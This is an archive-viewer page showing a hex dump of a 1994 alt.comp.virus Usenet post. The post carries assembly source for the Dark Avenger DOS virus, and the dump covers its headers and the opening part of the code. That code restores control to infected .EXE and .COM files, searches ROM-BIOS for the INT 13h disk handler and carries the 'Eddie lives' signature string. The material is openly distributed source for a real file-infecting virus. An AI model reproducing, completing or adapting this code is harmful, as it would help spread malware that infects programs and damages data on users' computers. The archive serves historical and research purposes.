home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / darkav.asm < prev    next >
Mailbox/MIME Entity  |  2003-06-11  |  26.0 KB

open in: MacOS 8.1     |     Win98     |     DOS

view JSON data     |     view as text

This file was processed as: Mailbox/MIME Entity (archive/mbox).

You can browse this item here: darkav.asm

ConfidenceProgramDetectionMatch TypeSupport
100% dexvert Mailbox/MIME Entity (archive/mbox) magic Supported
100% dexvert Internet Message Format (text/imf) magic Supported
100% dexvert Assembly Source File (text/asm) magic Supported
1% dexvert freeCAD assembly (other/freeCADAssembly) ext Unsupported
1% dexvert Text File (text/txt) fallback Supported
100% file Mailbox text, 1st line "From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:44:15 1994", ASCII text default
100% TrID E-Mail message (Var. 2) default
100% checkBytes Printable ASCII default
100% perlTextCheck Likely Text (Perl) default
100% siegfried x-fmt/111 Plain Text File default
100% detectItEasy Format: plain text[LF] default (weak)
100% xdgMime application/mbox default



hex view
+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 6e 65 74 | 63 6f 6d 2e 63 6f 6d 21 |From net|com.com!|
|00000010| 69 78 2e 6e 65 74 63 6f | 6d 2e 63 6f 6d 21 6e 65 |ix.netco|m.com!ne|
|00000020| 74 6e 65 77 73 20 54 75 | 65 20 4e 6f 76 20 32 39 |tnews Tu|e Nov 29|
|00000030| 20 30 39 3a 34 34 3a 31 | 35 20 31 39 39 34 0a 58 | 09:44:1|5 1994.X|
|00000040| 72 65 66 3a 20 6e 65 74 | 63 6f 6d 2e 63 6f 6d 20 |ref: net|com.com |
|00000050| 61 6c 74 2e 63 6f 6d 70 | 2e 76 69 72 75 73 3a 35 |alt.comp|.virus:5|
|00000060| 30 39 0a 50 61 74 68 3a | 20 6e 65 74 63 6f 6d 2e |09.Path:| netcom.|
|00000070| 63 6f 6d 21 69 78 2e 6e | 65 74 63 6f 6d 2e 63 6f |com!ix.n|etcom.co|
|00000080| 6d 21 6e 65 74 6e 65 77 | 73 0a 46 72 6f 6d 3a 20 |m!netnew|s.From: |
|00000090| 5a 65 70 70 65 6c 69 6e | 40 69 78 2e 6e 65 74 63 |Zeppelin|@ix.netc|
|000000a0| 6f 6d 2e 63 6f 6d 20 28 | 4d 72 2e 20 47 29 0a 4e |om.com (|Mr. G).N|
|000000b0| 65 77 73 67 72 6f 75 70 | 73 3a 20 61 6c 74 2e 63 |ewsgroup|s: alt.c|
|000000c0| 6f 6d 70 2e 76 69 72 75 | 73 0a 53 75 62 6a 65 63 |omp.viru|s.Subjec|
|000000d0| 74 3a 20 44 61 72 6b 20 | 41 76 65 6e 67 65 72 20 |t: Dark |Avenger |
|000000e0| 56 69 72 75 73 0a 44 61 | 74 65 3a 20 32 39 20 4e |Virus.Da|te: 29 N|
|000000f0| 6f 76 20 31 39 39 34 20 | 31 33 3a 31 33 3a 34 36 |ov 1994 |13:13:46|
|00000100| 20 47 4d 54 0a 4f 72 67 | 61 6e 69 7a 61 74 69 6f | GMT.Org|anizatio|
|00000110| 6e 3a 20 4e 65 74 63 6f | 6d 0a 4c 69 6e 65 73 3a |n: Netco|m.Lines:|
|00000120| 20 31 30 31 38 0a 44 69 | 73 74 72 69 62 75 74 69 | 1018.Di|stributi|
|00000130| 6f 6e 3a 20 77 6f 72 6c | 64 0a 4d 65 73 73 61 67 |on: worl|d.Messag|
|00000140| 65 2d 49 44 3a 20 3c 33 | 62 66 39 65 61 24 69 65 |e-ID: <3|bf9ea$ie|
|00000150| 70 40 69 78 6e 65 77 73 | 31 2e 69 78 2e 6e 65 74 |p@ixnews|1.ix.net|
|00000160| 63 6f 6d 2e 63 6f 6d 3e | 0a 52 65 66 65 72 65 6e |com.com>|.Referen|
|00000170| 63 65 73 3a 20 3c 73 62 | 72 69 6e 67 65 72 44 30 |ces: <sb|ringerD0|
|00000180| 30 79 48 76 2e 48 73 33 | 40 6e 65 74 63 6f 6d 2e |0yHv.Hs3|@netcom.|
|00000190| 63 6f 6d 3e 20 3c 62 72 | 61 64 6c 65 79 6d 44 30 |com> <br|adleymD0|
|000001a0| 31 31 76 4a 2e 4c 70 38 | 40 6e 65 74 63 6f 6d 2e |11vJ.Lp8|@netcom.|
|000001b0| 63 6f 6d 3e 0a 4e 4e 54 | 50 2d 50 6f 73 74 69 6e |com>.NNT|P-Postin|
|000001c0| 67 2d 48 6f 73 74 3a 20 | 69 78 2d 70 61 73 32 2d |g-Host: |ix-pas2-|
|000001d0| 31 30 2e 69 78 2e 6e 65 | 74 63 6f 6d 2e 63 6f 6d |10.ix.ne|tcom.com|
|000001e0| 0a 0a 09 44 41 52 4b 20 | 41 56 45 4e 47 45 52 20 |...DARK |AVENGER |
|000001f0| 56 49 52 55 53 0a 0a 0a | 63 6f 64 65 20 20 20 20 |VIRUS...|code |
|00000200| 73 65 67 6d 65 6e 74 0a | 20 20 20 20 20 20 20 20 |segment.| |
|00000210| 61 73 73 75 6d 65 20 20 | 63 73 3a 63 6f 64 65 2c |assume |cs:code,|
|00000220| 64 73 3a 63 6f 64 65 0a | 63 6f 70 79 72 69 67 68 |ds:code.|copyrigh|
|00000230| 74 3a 0a 20 20 20 20 20 | 20 20 20 64 62 20 20 20 |t:. | db |
|00000240| 20 20 20 27 45 64 64 69 | 65 20 6c 69 76 65 73 2e | 'Eddi|e lives.|
|00000250| 2e 2e 73 6f 6d 65 77 68 | 65 72 65 20 69 6e 20 74 |..somewh|ere in t|
|00000260| 69 6d 65 21 27 2c 30 0a | 64 61 74 65 5f 73 74 61 |ime!',0.|date_sta|
|00000270| 6d 70 3a 0a 20 20 20 20 | 20 20 20 20 64 64 20 20 |mp:. | dd |
|00000280| 20 20 20 20 31 32 32 33 | 39 30 30 30 68 0a 63 68 | 1223|9000h.ch|
|00000290| 65 63 6b 73 75 6d 3a 0a | 20 20 20 20 20 20 20 20 |ecksum:.| |
|000002a0| 64 62 20 20 20 20 20 20 | 33 30 0a 20 0a 3b 20 52 |db |30. .; R|
|000002b0| 65 74 75 72 6e 20 74 68 | 65 20 63 6f 6e 74 72 6f |eturn th|e contro|
|000002c0| 6c 20 74 6f 20 61 6e 20 | 2e 45 58 45 20 66 69 6c |l to an |.EXE fil|
|000002d0| 65 3a 0a 3b 20 52 65 73 | 74 6f 72 65 73 20 44 53 |e:.; Res|tores DS|
|000002e0| 3d 45 53 3d 50 53 50 2c | 20 6c 6f 61 64 73 20 53 |=ES=PSP,| loads S|
|000002f0| 53 3a 53 50 20 61 6e 64 | 20 43 53 3a 49 50 2e 0a |S:SP and| CS:IP..|
|00000300| 0a 0a 0a 0a 20 0a 65 78 | 69 74 5f 65 78 65 3a 0a |.... .ex|it_exe:.|
|00000310| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00000320| 62 78 2c 65 73 0a 20 20 | 20 20 20 20 20 20 61 64 |bx,es. | ad|
|00000330| 64 20 20 20 20 20 62 78 | 2c 31 30 68 0a 20 20 20 |d bx|,10h. |
|00000340| 20 20 20 20 20 61 64 64 | 20 20 20 20 20 62 78 2c | add| bx,|
|00000350| 77 6f 72 64 20 70 74 72 | 20 63 73 3a 5b 73 69 2b |word ptr| cs:[si+|
|00000360| 63 61 6c 6c 5f 61 64 72 | 2b 32 5d 0a 20 20 20 20 |call_adr|+2]. |
|00000370| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 77 6f 72 64 | mov | word|
|00000380| 20 70 74 72 20 63 73 3a | 5b 73 69 2b 70 61 74 63 | ptr cs:|[si+patc|
|00000390| 68 2b 32 5d 2c 62 78 0a | 20 20 20 20 20 20 20 20 |h+2],bx.| |
|000003a0| 6d 6f 76 20 20 20 20 20 | 62 78 2c 77 6f 72 64 20 |mov |bx,word |
|000003b0| 70 74 72 20 63 73 3a 5b | 73 69 2b 63 61 6c 6c 5f |ptr cs:[|si+call_|
|000003c0| 61 64 72 5d 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |adr]. | mov|
|000003d0| 20 20 20 20 20 77 6f 72 | 64 20 70 74 72 20 63 73 | wor|d ptr cs|
|000003e0| 3a 5b 73 69 2b 70 61 74 | 63 68 5d 2c 62 78 0a 20 |:[si+pat|ch],bx. |
|000003f0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 62 | m|ov b|
|00000400| 78 2c 65 73 0a 20 20 20 | 20 20 20 20 20 61 64 64 |x,es. | add|
|00000410| 20 20 20 20 20 62 78 2c | 31 30 68 0a 20 20 20 20 | bx,|10h. |
|00000420| 20 20 20 20 61 64 64 20 | 20 20 20 20 62 78 2c 77 | add | bx,w|
|00000430| 6f 72 64 20 70 74 72 20 | 63 73 3a 5b 73 69 2b 73 |ord ptr |cs:[si+s|
|00000440| 74 61 63 6b 5f 70 6f 69 | 6e 74 65 72 2b 32 5d 0a |tack_poi|nter+2].|
|00000450| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00000460| 73 73 2c 62 78 0a 20 20 | 20 20 20 20 20 20 6d 6f |ss,bx. | mo|
|00000470| 76 20 20 20 20 20 73 70 | 2c 77 6f 72 64 20 70 74 |v sp|,word pt|
|00000480| 72 20 63 73 3a 5b 73 69 | 2b 73 74 61 63 6b 5f 70 |r cs:[si|+stack_p|
|00000490| 6f 69 6e 74 65 72 5d 0a | 20 20 20 20 20 20 20 20 |ointer].| |
|000004a0| 64 62 20 20 20 20 20 20 | 30 65 61 68 20 20 20 20 |db |0eah |
|000004b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000004c0| 3b 4a 4d 50 20 58 58 58 | 58 3a 59 59 59 59 0a 70 |;JMP XXX|X:YYYY.p|
|000004d0| 61 74 63 68 3a 0a 20 20 | 20 20 20 20 20 20 64 64 |atch:. | dd|
|000004e0| 20 20 20 20 20 20 30 0a | 20 0a 3b 20 52 65 74 75 | 0.| .; Retu|
|000004f0| 72 6e 73 20 63 6f 6e 74 | 72 6f 6c 20 74 6f 20 61 |rns cont|rol to a|
|00000500| 20 2e 43 4f 4d 20 66 69 | 6c 65 3a 0a 3b 20 52 65 | .COM fi|le:.; Re|
|00000510| 73 74 6f 72 65 73 20 74 | 68 65 20 66 69 72 73 74 |stores t|he first|
|00000520| 20 33 20 62 79 74 65 73 | 20 69 6e 20 74 68 65 0a | 3 bytes| in the.|
|00000530| 3b 20 62 65 67 69 6e 6e | 69 6e 67 20 6f 66 20 74 |; beginn|ing of t|
|00000540| 68 65 20 66 69 6c 65 2c | 20 6c 6f 61 64 73 20 53 |he file,| loads S|
|00000550| 50 20 61 6e 64 20 49 50 | 2e 0a 20 0a 65 78 69 74 |P and IP|.. .exit|
|00000560| 5f 63 6f 6d 3a 0a 0a 0a | 0a 0a 20 20 20 20 20 20 |_com:...|.. |
|00000570| 20 20 6d 6f 76 20 20 20 | 20 20 64 69 2c 31 30 30 | mov | di,100|
|00000580| 68 0a 20 20 20 20 20 20 | 20 20 61 64 64 20 20 20 |h. | add |
|00000590| 20 20 73 69 2c 6f 66 66 | 73 65 74 20 6d 79 5f 73 | si,off|set my_s|
|000005a0| 61 76 65 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 73 |ave. | movs|
|000005b0| 62 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 73 77 0a |b. | movsw.|
|000005c0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|000005d0| 73 70 2c 64 73 3a 5b 36 | 5d 20 20 20 20 20 20 20 |sp,ds:[6|] |
|000005e0| 20 20 20 20 20 20 20 20 | 3b 54 68 69 73 20 69 73 | |;This is|
|000005f0| 20 69 6e 63 6f 72 72 65 | 63 74 0a 20 20 20 20 20 | incorre|ct. |
|00000600| 20 20 20 78 6f 72 20 20 | 20 20 20 62 78 2c 62 78 | xor | bx,bx|
|00000610| 0a 20 20 20 20 20 20 20 | 20 70 75 73 68 20 20 20 |. | push |
|00000620| 20 62 78 0a 20 20 20 20 | 20 20 20 20 6a 6d 70 20 | bx. | jmp |
|00000630| 20 20 20 20 5b 73 69 2d | 31 31 5d 20 20 20 20 20 | [si-|11] |
|00000640| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 73 69 2b | | ;si+|
|00000650| 63 61 6c 6c 5f 61 64 72 | 2d 74 6f 70 5f 66 69 6c |call_adr|-top_fil|
|00000660| 65 0a 20 0a 3b 20 50 72 | 6f 67 72 61 6d 20 65 6e |e. .; Pr|ogram en|
|00000670| 74 72 79 20 70 6f 69 6e | 74 0a 20 0a 73 74 61 72 |try poin|t. .star|
|00000680| 74 75 70 3a 0a 20 20 20 | 20 20 20 20 20 63 61 6c |tup:. | cal|
|00000690| 6c 20 20 20 20 72 65 6c | 61 74 69 76 65 0a 72 65 |l rel|ative.re|
|000006a0| 6c 61 74 69 76 65 3a 0a | 20 20 20 20 20 20 20 20 |lative:.| |
|000006b0| 70 6f 70 20 20 20 20 20 | 73 69 20 20 20 20 20 20 |pop |si |
|000006c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000006d0| 3b 53 49 20 3d 20 24 0a | 20 20 20 20 20 20 20 20 |;SI = $.| |
|000006e0| 73 75 62 20 20 20 20 20 | 73 69 2c 6f 66 66 73 65 |sub |si,offse|
|000006f0| 74 20 72 65 6c 61 74 69 | 76 65 0a 20 20 20 20 20 |t relati|ve. |
|00000700| 20 20 20 63 6c 64 0a 20 | 20 20 20 20 20 20 20 63 | cld. | c|
|00000710| 6d 70 20 20 20 20 20 77 | 6f 72 64 20 70 74 72 20 |mp w|ord ptr |
|00000720| 63 73 3a 5b 73 69 2b 6d | 79 5f 73 61 76 65 5d 2c |cs:[si+m|y_save],|
|00000730| 35 61 34 64 68 0a 20 20 | 20 20 20 20 20 20 6a 65 |5a4dh. | je|
|00000740| 20 20 20 20 20 20 65 78 | 65 5f 6f 6b 0a 20 20 20 | ex|e_ok. |
|00000750| 20 20 20 20 20 63 6c 69 | 0a 20 20 20 20 20 20 20 | cli|. |
|00000760| 20 6d 6f 76 20 20 20 20 | 20 73 70 2c 73 69 20 20 | mov | sp,si |
|00000770| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000780| 20 3b 41 20 73 65 70 61 | 72 61 74 65 20 73 74 61 | ;A sepa|rate sta|
|00000790| 63 6b 20 69 73 20 73 75 | 70 70 6f 72 74 65 64 20 |ck is su|pported |
|000007a0| 0a 66 6f 72 0a 20 20 20 | 20 20 20 20 20 61 64 64 |.for. | add|
|000007b0| 20 20 20 20 20 73 70 2c | 6f 66 66 73 65 74 20 74 | sp,|offset t|
|000007c0| 6f 70 5f 66 69 6c 65 2b | 31 30 30 68 20 3b 74 68 |op_file+|100h ;th|
|000007d0| 65 20 2e 43 4f 4d 20 66 | 69 6c 65 73 2c 20 69 6e |e .COM f|iles, in|
|000007e0| 20 6f 72 64 65 72 20 6e | 6f 74 20 74 6f 0a 20 20 | order n|ot to. |
|000007f0| 20 20 20 20 20 20 73 74 | 69 20 20 20 20 20 20 20 | st|i |
|00000800| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000810| 20 20 20 20 20 20 3b 6f | 76 65 72 6c 61 70 20 74 | ;o|verlap t|
|00000820| 68 65 20 73 74 61 63 6b | 20 62 79 20 74 68 65 20 |he stack| by the |
|00000830| 0a 70 72 6f 67 72 61 6d | 0a 20 20 20 20 20 20 20 |.program|. |
|00000840| 20 63 6d 70 20 20 20 20 | 20 73 70 2c 64 73 3a 5b | cmp | sp,ds:[|
|00000850| 36 5d 0a 20 20 20 20 20 | 20 20 20 6a 6e 63 20 20 |6]. | jnc |
|00000860| 20 20 20 65 78 69 74 5f | 63 6f 6d 0a 65 78 65 5f | exit_|com.exe_|
|00000870| 6f 6b 3a 0a 20 20 20 20 | 20 20 20 20 70 75 73 68 |ok:. | push|
|00000880| 20 20 20 20 61 78 0a 20 | 20 20 20 20 20 20 20 70 | ax. | p|
|00000890| 75 73 68 20 20 20 20 65 | 73 0a 20 20 20 20 20 20 |ush e|s. |
|000008a0| 20 20 70 75 73 68 20 20 | 20 20 73 69 0a 20 20 20 | push | si. |
|000008b0| 20 20 20 20 20 70 75 73 | 68 20 20 20 20 64 73 0a | pus|h ds.|
|000008c0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|000008d0| 64 69 2c 73 69 0a 20 0a | 3b 20 4c 6f 6f 6b 69 6e |di,si. .|; Lookin|
|000008e0| 67 20 66 6f 72 20 74 68 | 65 20 61 64 64 72 65 73 |g for th|e addres|
|000008f0| 73 20 6f 66 20 49 4e 54 | 20 31 33 68 20 68 61 6e |s of INT| 13h han|
|00000900| 64 6c 65 72 20 69 6e 20 | 52 4f 4d 2d 42 49 4f 53 |dler in |ROM-BIOS|
|00000910| 0a 20 0a 20 20 20 20 20 | 20 20 20 78 6f 72 20 20 |. . | xor |
|00000920| 20 20 20 61 78 2c 61 78 | 0a 20 20 20 20 20 20 20 | ax,ax|. |
|00000930| 20 70 75 73 68 20 20 20 | 20 61 78 0a 20 20 20 20 | push | ax. |
|00000940| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 64 73 2c 61 | mov | ds,a|
|00000950| 78 0a 20 20 20 20 20 20 | 20 20 6c 65 73 20 20 20 |x. | les |
|00000960| 20 20 61 78 2c 64 73 3a | 5b 31 33 68 2a 34 5d 0a | ax,ds:|[13h*4].|
|00000970| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00000980| 77 6f 72 64 20 70 74 72 | 20 63 73 3a 5b 73 69 2b |word ptr| cs:[si+|
|00000990| 66 64 69 73 6b 5d 2c 61 | 78 0a 20 20 20 20 20 20 |fdisk],a|x. |
|000009a0| 20 20 6d 6f 76 20 20 20 | 20 20 77 6f 72 64 20 70 | mov | word p|
|000009b0| 74 72 20 63 73 3a 5b 73 | 69 2b 66 64 69 73 6b 2b |tr cs:[s|i+fdisk+|
|000009c0| 32 5d 2c 65 73 0a 20 20 | 20 20 20 20 20 20 6d 6f |2],es. | mo|
|000009d0| 76 20 20 20 20 20 77 6f | 72 64 20 70 74 72 20 63 |v wo|rd ptr c|
|000009e0| 73 3a 5b 73 69 2b 64 69 | 73 6b 5d 2c 61 78 0a 20 |s:[si+di|sk],ax. |
|000009f0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 77 | m|ov w|
|00000a00| 6f 72 64 20 70 74 72 20 | 63 73 3a 5b 73 69 2b 64 |ord ptr |cs:[si+d|
|00000a10| 69 73 6b 2b 32 5d 2c 65 | 73 0a 20 20 20 20 20 20 |isk+2],e|s. |
|00000a20| 20 20 6d 6f 76 20 20 20 | 20 20 61 78 2c 64 73 3a | mov | ax,ds:|
|00000a30| 5b 34 30 68 2a 34 2b 32 | 5d 20 20 20 20 20 20 20 |[40h*4+2|] |
|00000a40| 20 20 3b 54 68 65 20 49 | 4e 54 20 31 33 68 20 76 | ;The I|NT 13h v|
|00000a50| 65 63 74 6f 72 20 69 73 | 20 6d 6f 76 65 64 20 74 |ector is| moved t|
|00000a60| 6f 20 0a 49 4e 54 20 34 | 30 68 0a 20 20 20 20 20 |o .INT 4|0h. |
|00000a70| 20 20 20 63 6d 70 20 20 | 20 20 20 61 78 2c 30 66 | cmp | ax,0f|
|00000a80| 30 30 30 68 20 20 20 20 | 20 20 20 20 20 20 20 20 |000h | |
|00000a90| 20 20 20 3b 66 6f 72 20 | 64 69 73 6b 65 74 74 65 | ;for |diskette|
|00000aa0| 73 20 69 66 20 61 20 68 | 61 72 64 20 64 69 73 6b |s if a h|ard disk|
|00000ab0| 20 69 73 0a 20 20 20 20 | 20 20 20 20 6a 6e 65 20 | is. | jne |
|00000ac0| 20 20 20 20 6e 6f 66 64 | 69 73 6b 20 20 20 20 20 | nofd|isk |
|00000ad0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 61 76 61 | | ;ava|
|00000ae0| 69 6c 61 62 6c 65 0a 20 | 20 20 20 20 20 20 20 6d |ilable. | m|
|00000af0| 6f 76 20 20 20 20 20 77 | 6f 72 64 20 70 74 72 20 |ov w|ord ptr |
|00000b00| 63 73 3a 5b 73 69 2b 64 | 69 73 6b 2b 32 5d 2c 61 |cs:[si+d|isk+2],a|
|00000b10| 78 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |x. | mov |
|00000b20| 20 20 61 78 2c 64 73 3a | 5b 34 30 68 2a 34 5d 0a | ax,ds:|[40h*4].|
|00000b30| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00000b40| 77 6f 72 64 20 70 74 72 | 20 63 73 3a 5b 73 69 2b |word ptr| cs:[si+|
|00000b50| 64 69 73 6b 5d 2c 61 78 | 0a 20 20 20 20 20 20 20 |disk],ax|. |
|00000b60| 20 6d 6f 76 20 20 20 20 | 20 64 6c 2c 38 30 68 0a | mov | dl,80h.|
|00000b70| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00000b80| 61 78 2c 64 73 3a 5b 34 | 31 68 2a 34 2b 32 5d 20 |ax,ds:[4|1h*4+2] |
|00000b90| 20 20 20 20 20 20 20 20 | 3b 49 4e 54 20 34 31 68 | |;INT 41h|
|00000ba0| 20 75 73 75 61 6c 6c 79 | 20 70 6f 69 6e 74 73 20 | usually| points |
|00000bb0| 74 68 65 20 0a 73 65 67 | 6d 65 6e 74 2c 0a 20 20 |the .seg|ment,. |
|00000bc0| 20 20 20 20 20 20 63 6d | 70 20 20 20 20 20 61 78 | cm|p ax|
|00000bd0| 2c 30 66 30 30 30 68 20 | 20 20 20 20 20 20 20 20 |,0f000h | |
|00000be0| 20 20 20 20 20 20 3b 77 | 68 65 72 65 20 74 68 65 | ;w|here the|
|00000bf0| 20 6f 72 69 67 69 6e 61 | 6c 20 49 4e 54 20 31 33 | origina|l INT 13|
|00000c00| 68 20 0a 76 65 63 74 6f | 72 20 69 73 0a 20 20 20 |h .vecto|r is. |
|00000c10| 20 20 20 20 20 6a 65 20 | 20 20 20 20 20 69 73 66 | je | isf|
|00000c20| 64 69 73 6b 0a 20 20 20 | 20 20 20 20 20 63 6d 70 |disk. | cmp|
|00000c30| 20 20 20 20 20 61 68 2c | 30 63 38 68 0a 20 20 20 | ah,|0c8h. |
|00000c40| 20 20 20 20 20 6a 63 20 | 20 20 20 20 20 6e 6f 66 | jc | nof|
|00000c50| 64 69 73 6b 0a 20 20 20 | 20 20 20 20 20 63 6d 70 |disk. | cmp|
|00000c60| 20 20 20 20 20 61 68 2c | 30 66 34 68 0a 20 20 20 | ah,|0f4h. |
|00000c70| 20 20 20 20 20 6a 6e 63 | 20 20 20 20 20 6e 6f 66 | jnc| nof|
|00000c80| 64 69 73 6b 0a 20 20 20 | 20 20 20 20 20 74 65 73 |disk. | tes|
|00000c90| 74 20 20 20 20 61 6c 2c | 37 66 68 0a 20 20 20 20 |t al,|7fh. |
|00000ca0| 20 20 20 20 6a 6e 7a 20 | 20 20 20 20 6e 6f 66 64 | jnz | nofd|
|00000cb0| 69 73 6b 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |isk. | mov |
|00000cc0| 20 20 20 20 64 73 2c 61 | 78 0a 20 20 20 20 20 20 | ds,a|x. |
|00000cd0| 20 20 63 6d 70 20 20 20 | 20 20 64 73 3a 5b 30 5d | cmp | ds:[0]|
|00000ce0| 2c 30 61 61 35 35 68 0a | 20 20 20 20 20 20 20 20 |,0aa55h.| |
|00000cf0| 6a 6e 65 20 20 20 20 20 | 6e 6f 66 64 69 73 6b 0a |jne |nofdisk.|
|00000d00| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00000d10| 64 6c 2c 64 73 3a 5b 32 | 5d 0a 69 73 66 64 69 73 |dl,ds:[2|].isfdis|
|00000d20| 6b 3a 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |k:. | mov |
|00000d30| 20 20 20 64 73 2c 61 78 | 0a 20 20 20 20 20 20 20 | ds,ax|. |
|00000d40| 20 78 6f 72 20 20 20 20 | 20 64 68 2c 64 68 0a 20 | xor | dh,dh. |
|00000d50| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 63 | m|ov c|
|00000d60| 6c 2c 39 0a 20 20 20 20 | 20 20 20 20 73 68 6c 20 |l,9. | shl |
|00000d70| 20 20 20 20 64 78 2c 63 | 6c 0a 20 20 20 20 20 20 | dx,c|l. |
|00000d80| 20 20 6d 6f 76 20 20 20 | 20 20 63 78 2c 64 78 0a | mov | cx,dx.|
|00000d90| 20 20 20 20 20 20 20 20 | 78 6f 72 20 20 20 20 20 | |xor |
|00000da0| 73 69 2c 73 69 0a 66 69 | 6e 64 76 65 63 74 3a 0a |si,si.fi|ndvect:.|
|00000db0| 20 20 20 20 20 20 20 20 | 6c 6f 64 73 77 20 20 20 | |lodsw |
|00000dc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000dd0| 20 20 20 20 20 20 20 20 | 3b 4f 63 63 61 73 69 6f | |;Occasio|
|00000de0| 6e 61 6c 6c 79 20 62 65 | 67 69 6e 73 20 77 69 74 |nally be|gins wit|
|00000df0| 68 3a 0a 20 20 20 20 20 | 20 20 20 63 6d 70 20 20 |h:. | cmp |
|00000e00| 20 20 20 61 78 2c 30 66 | 61 38 30 68 20 20 20 20 | ax,0f|a80h |
|00000e10| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 20 20 20 | | ; |
|00000e20| 20 20 20 43 4d 50 20 20 | 20 20 20 44 4c 2c 38 30 | CMP | DL,80|
|00000e30| 68 0a 20 20 20 20 20 20 | 20 20 6a 6e 65 20 20 20 |h. | jne |
|00000e40| 20 20 61 6c 74 63 68 6b | 20 20 20 20 20 20 20 20 | altchk| |
|00000e50| 20 20 20 20 20 20 20 20 | 20 20 3b 20 20 20 20 20 | | ; |
|00000e60| 20 20 4a 4e 43 20 20 20 | 20 20 73 6f 6d 65 77 68 | JNC | somewh|
|00000e70| 65 72 65 0a 20 20 20 20 | 20 20 20 20 6c 6f 64 73 |ere. | lods|
|00000e80| 77 0a 20 20 20 20 20 20 | 20 20 63 6d 70 20 20 20 |w. | cmp |
|00000e90| 20 20 61 78 2c 37 33 38 | 30 68 0a 20 20 20 20 20 | ax,738|0h. |
|00000ea0| 20 20 20 6a 65 20 20 20 | 20 20 20 69 6e 74 63 68 | je | intch|
|00000eb0| 6b 0a 20 20 20 20 20 20 | 20 20 6a 6e 65 20 20 20 |k. | jne |
|00000ec0| 20 20 6e 78 74 30 0a 61 | 6c 74 63 68 6b 3a 0a 20 | nxt0.a|ltchk:. |
|00000ed0| 20 20 20 20 20 20 20 63 | 6d 70 20 20 20 20 20 61 | c|mp a|
|00000ee0| 78 2c 30 63 32 66 36 68 | 20 20 20 20 20 20 20 20 |x,0c2f6h| |
|00000ef0| 20 20 20 20 20 20 20 3b | 6f 72 20 77 69 74 68 3a | ;|or with:|
|00000f00| 0a 20 20 20 20 20 20 20 | 20 6a 6e 65 20 20 20 20 |. | jne |
|00000f10| 20 6e 78 74 20 20 20 20 | 20 20 20 20 20 20 20 20 | nxt | |
|00000f20| 20 20 20 20 20 20 20 20 | 20 3b 20 20 20 20 20 20 | | ; |
|00000f30| 20 54 45 53 54 20 20 20 | 20 44 4c 2c 38 30 68 0a | TEST | DL,80h.|
|00000f40| 20 20 20 20 20 20 20 20 | 6c 6f 64 73 77 20 20 20 | |lodsw |
|00000f50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000f60| 20 20 20 20 20 20 20 20 | 3b 20 20 20 20 20 20 20 | |; |
|00000f70| 4a 4e 5a 20 20 20 20 20 | 73 6f 6d 65 77 68 65 72 |JNZ |somewher|
|00000f80| 65 0a 20 20 20 20 20 20 | 20 20 63 6d 70 20 20 20 |e. | cmp |
|00000f90| 20 20 61 78 2c 37 35 38 | 30 68 0a 20 20 20 20 20 | ax,758|0h. |
|00000fa0| 20 20 20 6a 6e 65 20 20 | 20 20 20 6e 78 74 30 0a | jne | nxt0.|
|00000fb0| 69 6e 74 63 68 6b 3a 0a | 20 20 20 20 20 20 20 20 |intchk:.| |
|00000fc0| 69 6e 63 20 20 20 20 20 | 73 69 20 20 20 20 20 20 |inc |si |
|00000fd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000fe0| 3b 74 68 65 6e 20 74 68 | 65 72 65 20 69 73 3a 0a |;then th|ere is:.|
|00000ff0| 20 20 20 20 20 20 20 20 | 6c 6f 64 73 77 20 20 20 | |lodsw |
|00001000| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001010| 20 20 20 20 20 20 20 20 | 3b 20 20 20 20 20 20 20 | |; |
|00001020| 49 4e 54 20 20 20 20 20 | 34 30 68 0a 20 20 20 20 |INT |40h. |
|00001030| 20 20 20 20 63 6d 70 20 | 20 20 20 20 61 78 2c 34 | cmp | ax,4|
|00001040| 30 63 64 68 0a 20 20 20 | 20 20 20 20 20 6a 65 20 |0cdh. | je |
|00001050| 20 20 20 20 20 66 6f 75 | 6e 64 0a 20 20 20 20 20 | fou|nd. |
|00001060| 20 20 20 73 75 62 20 20 | 20 20 20 73 69 2c 33 0a | sub | si,3.|
|00001070| 6e 78 74 30 3a 0a 20 20 | 20 20 20 20 20 20 64 65 |nxt0:. | de|
|00001080| 63 20 20 20 20 20 73 69 | 0a 20 20 20 20 20 20 20 |c si|. |
